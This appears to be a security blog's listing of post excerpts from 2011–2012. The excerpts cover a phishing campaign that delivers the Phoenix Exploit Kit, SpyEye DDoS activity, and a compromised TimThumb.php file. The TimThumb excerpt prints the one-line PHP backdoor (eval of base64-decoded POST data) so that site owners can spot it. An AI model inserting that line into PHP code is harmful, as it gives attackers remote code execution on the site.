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Phoenix, Phoenix, I need help!

26

Jan

2012

The WebsenseR ThreatSeekerR Network has been tracking an ongoing malicious email campaign in which a recipient is asked to click a link to check a bill mistakenly received by another user. We have been monitoring campaigns of thousands of emails similar to this one for a while now and notice that the Phoenix Exploit Kit is used. The campaign […]

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Kaspersky Lab… also in my list of DDoS attacks! [by SpyEye]

21

Sep

2011

The title of this post suggests that I’ve been thinking of one of the cyber-criminals that uses SpyEye, maybe in admiration! But actually his cyber-criminal actions overshadow anything else. The truth is that, following my post highlighting the tactic of using as C&C one of the Cloud Computing services offered by Amazon, I found a […]

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TimThumb.php backdoor

15

Sep

2011

If your site got compromised lately with the TimThumb.php vulnerability, make sure to check that script to see if it was not modified to act as a backdoor as well. We are seeing in many sites the timthumb.php with the following code added to it: if (md5(md5($_POST[‘p’]))===’xxx8ab2ab.. a4ec61072xxx’) die(eval(base64_decode($_POST[‘c’]))); If you are not sure what this […]

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